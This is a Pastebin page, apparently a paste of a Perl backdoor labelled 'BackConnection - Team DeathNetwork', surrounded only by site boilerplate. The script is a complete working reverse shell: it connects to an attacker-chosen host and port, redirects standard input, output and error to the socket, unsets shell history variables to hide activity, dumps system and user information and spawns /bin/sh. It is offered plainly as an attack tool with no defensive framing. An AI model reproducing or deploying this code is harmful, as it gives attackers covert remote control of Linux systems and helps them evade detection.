Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use IO::Socket;
- #Backdoor Linux - Team DeathNetwork
- $system = '/bin/sh';
- $ARGC=@ARGV;
- print "--== BackConnection - Team DeathNetwork ==-- \n\n";
- if ($ARGC!=2) {
- print "Usage: $0 [Host] [Port] \n\n";
- die "Ex: $0 127.0.0.1 2121 \n";
- }
- use Socket;
- use FileHandle;
- socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
- connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
- print "[*] Resolving HostName\n";
- print "[*] Connecting... $ARGV[0] \n";
- print "[*] Spawning Shell \n";
- print "[*] Connected to remote host \n";
- SOCKET->autoflush();
- open(STDIN, ">&SOCKET");
- open(STDOUT,">&SOCKET");
- open(STDERR,">&SOCKET");
- print "--== BackConnection - Team DeathNetwork ==-- \n\n";
- system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
- echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
- system($system);
- #TDN
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement